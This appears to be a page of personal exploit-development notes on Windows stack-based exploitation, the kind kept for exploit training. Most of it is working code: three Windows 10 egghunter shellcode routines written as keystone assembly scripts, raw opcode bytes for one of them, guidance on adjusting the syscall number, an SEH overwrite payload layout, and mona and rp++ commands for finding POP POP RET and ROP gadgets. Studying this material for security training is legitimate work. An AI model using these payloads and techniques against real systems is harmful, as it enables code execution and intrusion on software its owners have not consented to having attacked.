Windows Stack

Egg Hunter

https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/

Windows 10 Egghunter (w00tw00t, 32-Bit)

from keystone import *

CODE = (
" " 
" loop_inc_page: "
" or dx, 0x0fff ;" 
" loop_inc_one: "
" inc edx ;"
" loop_check: "
" push edx ;"
" mov eax, 0xfffffe3a ;" 
" neg eax; " 
" int 0x2e ;" 
" cmp al,05 ;" 
" pop edx ;" 
" loop_check_valid: "
" je loop_inc_page ;" 
" is_egg: "
" mov eax, 0x74303077 ;" 
" mov edi, edx ;" 
" scasd ;" 
" jnz loop_inc_one ;" 
" scasd ;" 
" jnz loop_inc_one ;" 
" matched: "
" jmp edi ;" 
)


ks = Ks(KS_ARCH_X86, KS_MODE_32)
encoding, count = ks.asm(CODE)
instructions = ""
for dec in encoding: 
 instructions += "\\x{0:02x}".format(int(dec)).rstrip("\n")
 
print("Opcodes = (\"" + instructions + "\")")

You might have to modify the syscall number (above 0x1C6, in negated form). Print from windbg with u ntdll!NtAccessCheckAndAuditAlarm. E.g. on Win 10 Pro it was 0x29 for me. Then calculated negated form (here as example for 0x29):

>>> i = 0 - 0x29
>>> hex (i & ((1 << 32) - 1))
'0xffffffd7'

Mona can generate one aswell:

0:004> .load pykd.pyd
0:004> !py mona egg -wow64 -winver 10
...

This one is kind of reliable as well (32 bit process on 64 bit system):

from keystone import *

CODE = (
"mov    ebx,cs;"
"cmp    bl,0x23;"
"xor    edx,edx;"
"or     dx,0xfff;"
"xor    ebx,ebx;"
"inc    edx;"
"push   edx;"
"push   ebx;"
"push   ebx;"
"push   ebx;"
"push   0x29;"
"pop    eax;"
"mov    bl,0xc0;"
"call   DWORD PTR fs:[ebx];"
"add    esp,0xc;"
"pop    edx;"
"cmp    al,0x5;"
"je     0x7;"
"mov    eax,0x74303077;"
"mov    edi,edx;"
"scas   eax,DWORD PTR es:[edi];"
"jne    0xe;"
"scas   eax,DWORD PTR es:[edi];"
"jne    0xe;"
"jmp    edi;"
)


ks = Ks(KS_ARCH_X86, KS_MODE_32)
encoding, count = ks.asm(CODE)
instructions = ""
for dec in encoding: 
 instructions += "\\x{0:02x}".format(int(dec)).rstrip("\n")
 
print("Opcodes = (\"" + instructions + "\")")

When debugging, this one will hit breakpoints all the time. This is normal and does not mean it does not work (see https://www.corelan.be/index.php/2019/04/23/windows-10-egghunter/).

Windows 10 Egghunter (w00tw00t, custom SEH handler, 32-Bit)

from keystone import *

CODE = (
" start: "
" jmp get_seh_address ;" 
" build_exception_record: "
" pop ecx ;" 
" mov eax, 0x74303077 ;" 
" push ecx ;" 
" push 0xffffffff ;" 
" xor ebx, ebx ;" 
" mov dword ptr fs:[ebx], esp ;" 
" sub ecx, 0x04 ;" 
" add ebx, 0x04 ;" 
" mov dword ptr fs:[ebx], ecx ;"
" is_egg: "
" push 0x02 ;" 
" pop ecx ;" 
" mov edi, ebx ;" 
" repe scasd ;" 
" jnz loop_inc_one ;" 
" jmp edi ;" 
" loop_inc_page: " 
" or bx, 0xfff ;" 
" loop_inc_one: "
" inc ebx ;" 
" jmp is_egg ;" 
" get_seh_address: "
" call build_exception_record ;" 
" push 0x0c ;" 
" pop ecx ;" 
" mov eax, [esp+ecx] ;" 
" mov cl, 0xb8 ;" 
" add dword ptr ds:[eax+ecx], 0x06 ;" 
" pop eax ;" 
" add esp, 0x10 ;" 
" push eax ;" 
" xor eax, eax ;" 
" ret ;" 
)

ks = Ks(KS_ARCH_X86, KS_MODE_32)
encoding, count = ks.asm(CODE)
instructions = ""
for dec in encoding: 
 instructions += "\\x{0:02x}".format(int(dec)).rstrip("\n")
 
print("Opcodes = (\"" + instructions + "\")")
\xeb\x2a\x59\xb8\x77\x30\x30\x74\x51\x6a\xff\x31\xdb\x64\x89\x23\x83\xe9\x04\x83\xc3\x04\x64\x89\x0b\x6a\x02\x59\x89\xdf\xf3\xaf\x75\x07\xff\xe7\x66\x81\xcb\xff\x0f\x43\xeb\xed\xe8\xd1\xff\xff\xff\x6a\x0c\x59\x8b\x04\x0c\xb1\xb8\x83\x04\x08\x06\x58\x83\xc4\x10\x50\x31\xc0\xc3

SEH Overwrite

Overwrite with POP POP RET followed by EB <distance> 90 90 at the target to jump past the exception handler struct in memory e.g.:

<padding><jmp(nseh)><poppopret(seh)><payload>

Find Pop Pop Ret

!py mona seh

Resources

ROP

Find Gadgets with rp++: https://github.com/0vercl0k/rp

rp-win-x86.exe -f <file> -r 5 > rop.txt

Last updated